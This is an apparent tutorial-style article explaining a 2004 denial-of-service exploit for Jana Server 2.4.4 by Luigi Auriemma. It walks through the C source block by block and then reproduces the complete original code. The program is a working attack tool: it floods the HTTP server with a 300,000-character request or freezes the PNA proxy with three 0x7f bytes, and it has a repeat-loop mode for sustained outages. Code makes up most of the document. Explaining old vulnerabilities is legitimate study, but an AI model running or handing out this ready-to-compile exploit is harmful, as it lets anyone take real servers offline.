Understanding the Jana Server 2.4.4 'http/pna' Denial of Service Exploit

Understanding the Jana Server 2.4.4 'http/pna' Denial of Service Exploit
What this paper is
This paper details a Denial of Service (DoS) vulnerability in Jana Server versions up to 2.4.4. The exploit targets two specific functionalities: the HTTP server and the PNA (Proxy Network Access) proxy. The goal is to overload the server's resources, making it unresponsive.
Simple technical breakdown
The exploit works by sending malformed or excessively large requests to the Jana Server.
- HTTP Server Attack: It crafts a very long HTTP GET request filled with a specific character. This large request consumes server resources as it tries to process it, potentially leading to a temporary CPU overload.
- PNA Proxy Attack: It sends a short, malformed request to the PNA proxy. This triggers a loop or an unhandled condition within the proxy's logic, causing it to freeze and hang the entire server.
The exploit code automates the process of connecting to the target server, sending the malicious payload, and then checking if the server is still responsive. It can also be configured to repeat the attack in a loop for a more sustained denial of service.
Complete code and payload walkthrough
The provided C code is a network utility designed to exploit the Jana Server vulnerability. It includes functions for network operations, error handling, and the core attack logic.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>- Purpose: This section includes standard C libraries for input/output (
stdio.h), memory allocation (stdlib.h), and string manipulation (string.h). #ifdef WIN32: This preprocessor directive checks if the code is being compiled on a Windows system.#include <winsock.h>: If on Windows, this includes the Winsock API header, which provides network programming functions for Windows.- Error Handling for Windows: The subsequent code block within the
WIN32directive is a custom error handling mechanism for Winsock.
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
// ... (extensive list of Winsock error codes and their string representations) ...
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}- Purpose: This function,
std_err, is responsible for reporting network-related errors. WSAGetLastError(): On Windows, this function retrieves the last error code from the Winsock API.switch(WSAGetLastError()): A largeswitchstatement maps specific Winsock error codes to human-readable error messages. This is crucial for diagnosing network connection issues.default: error = strerror(errno); break;: If the Winsock error code is not specifically handled, it falls back to using the standardstrerror(errno)to get a generic system error message.fprintf(stderr, ...)andexit(1): The error message is printed to standard error, and the program terminates with an error code.
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif- Purpose: This section handles platform-specific definitions and includes.
#define close closesocket: On Windows, the standardclose()function for file descriptors is aliased toclosesocket()from Winsock.#else: If not on Windows (i.e., on a Unix-like system).- Includes for Unix-like systems: Standard headers for socket programming (
sys/socket.h), types (sys/types.h), IP address manipulation (arpa/inet.h), internet addresses (netinet/in.h), and host name resolution (netdb.h) are included.unistd.hprovidesclose().
#define VER "0.1"
#define CHR '%'
#define GET1 "GET /"
#define GET2 " HTTP/1.0\r\n" \
"\r\n"
#define BOOMSZ 300000
#define PNACPU 3
#define TIMEOUT 3- Purpose: These are macro definitions for constants used throughout the program.
VER: Version of the exploit script.CHR: The character used to fill the large HTTP request (%).GET1andGET2: Parts of a standard HTTP GET request.GET1is the beginning, andGET2is the end, including the double CRLF that signifies the end of the HTTP headers.BOOMSZ: The size (in bytes) of the buffer filled withCHRfor the HTTP attack (300,000 bytes).PNACPU: The size (in bytes) of the payload for the PNA attack (3 bytes).TIMEOUT: The timeout duration (in seconds) for checking if the server is still responsive.
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);- Purpose: These are function prototypes, declaring functions that will be defined later in the code.
timeout(int sock): Checks if a socket is still responsive within a given timeout.resolv(char *host): Resolves a hostname to an IP address.std_err(void): The custom error handling function (already described).
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
loop = 0;
u_short port;
u_char *buff;
setbuf(stdout, NULL);
fputs("\n"
"Jana Server <= 2.4.4 http/pna DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s <attack> <server> <port> [loop]\n"
"\n"
"Attack:\n"
" 1 = http-server (temporary) CPU at 100%%, port 2506\n"
" 2 = full server freeze caused by loop in pna-proxy, port 1090\n"
"\n"
"Example check: janados 1 localhost 2506\n"
"Example loop: janados 1 localhost 2506 loop\n"
"\n", argv[0]);
exit(1);
}- Purpose: This is the main entry point of the program. It handles argument parsing, banner display, and initialization.
struct sockaddr_in peer;: A structure to hold the target server's address information (IP address, port, family).int sd, len, attack, loop = 0;: Variables to store the socket descriptor, payload length, attack type, and a flag for continuous looping.u_short port;: Variable for the target port.u_char *buff;: A pointer to the buffer that will hold the exploit payload.setbuf(stdout, NULL);: Disables buffering for standard output, ensuring messages are printed immediately.- Banner: Prints information about the exploit.
- Argument Check (
if(argc < 4)): Verifies that at least three command-line arguments are provided (attack type, server, port). If not, it prints usage instructions and exits.
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif- Purpose: Initializes the Winsock library on Windows systems.
WSADATA wsadata;: A structure to receive Windows Sockets initialization information.WSAStartup(MAKEWORD(1,0), &wsadata);: Calls the Winsock startup function.MAKEWORD(1,0)requests Winsock version 1.0.
attack = atoi(argv[1]);
if(attack == 1) {
printf(
"- http-server attack\n"
"- build HTTP request containing %d chars '%c'\n",
BOOMSZ, CHR);
len = sizeof(GET1) - 1 + BOOMSZ + sizeof(GET2);
buff = malloc(len);
if(!buff) std_err();
memcpy(buff, GET1, sizeof(GET1) - 1);
memset(buff + sizeof(GET1) - 1, CHR, BOOMSZ);
memcpy(buff + sizeof(GET1) - 1 + BOOMSZ, GET2, sizeof(GET2));
} else if(attack == 2) {
fputs("- pna-proxy attack\n", stdout);
buff = malloc(PNACPU);
if(!buff) std_err();
memset(buff, '\x7f', PNACPU); // 0x7f7f, integer value
len = PNACPU;
} else {
fputs("\nError: wrong type of attack chosen\n\n", stdout);
exit(1);
}- Purpose: This block selects and constructs the exploit payload based on the
attackargument. attack = atoi(argv[1]);: Converts the first command-line argument (attack type) to an integer.if(attack == 1)(HTTP Server Attack):- Prints a message indicating the HTTP attack.
- Calculates the total length of the payload:
GET1+BOOMSZcharacters +GET2. - Allocates memory for the buffer (
buff). - Copies
GET1intobuff. - Fills the middle part of
buffwithBOOMSZcopies of the character defined byCHR(%). This creates the excessively large part of the request. - Copies
GET2to the end ofbuff.
else if(attack == 2)(PNA Proxy Attack):- Prints a message indicating the PNA attack.
- Allocates a small buffer (
PNACPUbytes). - Fills the buffer with the byte
0x7f. The comment "0x7f7f, integer value" suggests this might be interpreted as a specific integer by the vulnerable code. - Sets the payload length (
len) toPNACPU.
else: If the attack type is invalid, it prints an error and exits.
port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
if(argc > 4) {
loop = 1;
fputs("- mega loop activated\n", stdout);
}- Purpose: Configures the target server's address and enables the loop mode if specified.
port = atoi(argv[3]);: Converts the third command-line argument (port) to an integer.peer.sin_addr.s_addr = resolv(argv[2]);: Calls theresolvfunction to get the IP address of the server specified in the second argument.peer.sin_port = htons(port);: Converts the host byte order port number to network byte order.peer.sin_family = AF_INET;: Sets the address family to IPv4.if(argc > 4): Checks if a fifth argument is provided. If so, it sets theloopflag to 1, indicating that the attack should be repeated.
for(;;) {
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
printf("- connect to %s:%hu ... ",
inet_ntoa(peer.sin_addr), port);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("ok\n", stdout);
fputs("- send malformed request\n", stdout);
if(send(sd, buff, len, 0)
< 0) std_err();
if(!loop) break;
close(sd);
}- Purpose: This is the core loop that establishes connections, sends the payload, and handles the looping behavior.
for(;;): An infinite loop that continues until explicitly broken.sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);: Creates a TCP socket.if(sd < 0) std_err();: Error handling for socket creation.printf("- connect to %s:%hu ... ", ...): Prints the target server's IP and port.connect(sd, (struct sockaddr *)&peer, sizeof(peer)): Attempts to establish a connection to the target server.if(connect(...) < 0) std_err();: Error handling for connection failure.fputs("- send malformed request\n", stdout);: Indicates that the payload is about to be sent.send(sd, buff, len, 0): Sends the constructed exploit payload (buff) of lengthlenover the established socket.if(send(...) < 0) std_err();: Error handling for send failure.if(!loop) break;: If theloopflag is not set (meaning it's a single-shot attack), the loop breaks after sending the payload.close(sd);: If in loop mode, the socket is closed to prepare for a new connection in the next iteration.
fputs("- check server:\n", stdout);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
return(0);
}- Purpose: After sending the payload (or after the loop finishes if
loopis 1 and thebreakis never hit, which is unlikely as the loop is infinite until broken), this section checks the server's responsiveness. timeout(sd): Calls thetimeoutfunction to check if the server is still reachable on the last opened socket.if(timeout(sd) < 0): Iftimeoutreturns -1, it means the server did not respond within theTIMEOUTperiod, indicating it's likely vulnerable and unresponsive.- Output: Prints a message indicating whether the server is vulnerable or not.
return(0);: Exits the program successfully.
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}- Purpose: This function implements a non-blocking check to see if data can be read from a socket within a specified time.
struct timeval tout;: A structure to define the timeout duration.tout.tv_sec = TIMEOUT;: Sets the timeout to the value defined byTIMEOUT(3 seconds).fd_set fd_read;: A file descriptor set used byselectto monitor sockets.FD_ZERO(&fd_read);: Clears the file descriptor set.FD_SET(sock, &fd_read);: Adds the given socket (sock) to the set to monitor for read events.err = select(sock + 1, &fd_read, NULL, NULL, &tout);: Theselectsystem call waits for activity on the socket for up totoutseconds.sock + 1: The highest file descriptor number plus one.&fd_read: The set of file descriptors to check for readability.NULL, NULL: Sets for writability and exceptional conditions (not used here).&tout: The timeout value.
if(err < 0) std_err();: Handles errors fromselect.if(!err) return(-1);: Iferris 0, it means the timeout occurred before any activity was detected on the socket. This indicates the server is not responding, so it returns -1.return(0);: Iferris greater than 0, it means the socket is ready for reading (or an error occurred, but that's handled bystd_err). In this context, it implies the server is still alive.
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}- Purpose: This function resolves a hostname into an IPv4 address.
host_ip = inet_addr(host);: Attempts to convert the inputhoststring directly into an IP address usinginet_addr. This works if the input is already an IP address string (e.g., "127.0.0.1").if(host_ip == INADDR_NONE): Ifinet_addrfails (returnsINADDR_NONE), it means the input was not a valid IP address string.hp = gethostbyname(host);: Attempts to resolve the hostname using DNS lookup.if(!hp): Ifgethostbynamefails, it prints an error and exits.else host_ip = *(u_long *)(hp->h_addr);: If successful,hp->h_addrcontains a pointer to the IP address. This line dereferences the pointer and casts it to au_long(which is typically 32 bits for an IPv4 address) to get the IP address value.return(host_ip);: Returns the resolved IP address.
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif- Purpose: This provides a platform-specific implementation of
std_errfor non-Windows systems. #ifndef WIN32: Ensures this code is only compiled on non-Windows systems.perror("\nError");: On Unix-like systems,perrorprints a descriptive error message based on the current value of the globalerrnovariable.exit(1);: Terminates the program.
// milw0rm.com [2004-11-30]- Purpose: A comment indicating the source and publication date of the exploit.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define CHR '%'
#define GET1 "GET /"
#define GET2 " HTTP/1.0\r\n" \
"\r\n"
#define BOOMSZ 300000
#define PNACPU 3
#define TIMEOUT 3
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
loop = 0;
u_short port;
u_char *buff;
setbuf(stdout, NULL);
fputs("\n"
"Jana Server <= 2.4.4 http/pna DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s <attack> <server> <port> [loop]\n"
"\n"
"Attack:\n"
" 1 = http-server (temporary) CPU at 100%%, port 2506\n"
" 2 = full server freeze caused by loop in pna-proxy, port 1090\n"
"\n"
"Example check: janados 1 localhost 2506\n"
"Example loop: janados 1 localhost 2506 loop\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
attack = atoi(argv[1]);
if(attack == 1) {
printf(
"- http-server attack\n"
"- build HTTP request containing %d chars '%c'\n",
BOOMSZ, CHR);
len = sizeof(GET1) - 1 + BOOMSZ + sizeof(GET2);
buff = malloc(len);
if(!buff) std_err();
memcpy(buff, GET1, sizeof(GET1) - 1);
memset(buff + sizeof(GET1) - 1, CHR, BOOMSZ);
memcpy(buff + sizeof(GET1) - 1 + BOOMSZ, GET2, sizeof(GET2));
} else if(attack == 2) {
fputs("- pna-proxy attack\n", stdout);
buff = malloc(PNACPU);
if(!buff) std_err();
memset(buff, '\x7f', PNACPU); // 0x7f7f, integer value
len = PNACPU;
} else {
fputs("\nError: wrong type of attack chosen\n\n", stdout);
exit(1);
}
port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
if(argc > 4) {
loop = 1;
fputs("- mega loop activated\n", stdout);
}
for(;;) {
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
printf("- connect to %s:%hu ... ",
inet_ntoa(peer.sin_addr), port);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("ok\n", stdout);
fputs("- send malformed request\n", stdout);
if(send(sd, buff, len, 0)
< 0) std_err();
if(!loop) break;
close(sd);
}
fputs("- check server:\n", stdout);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-11-30]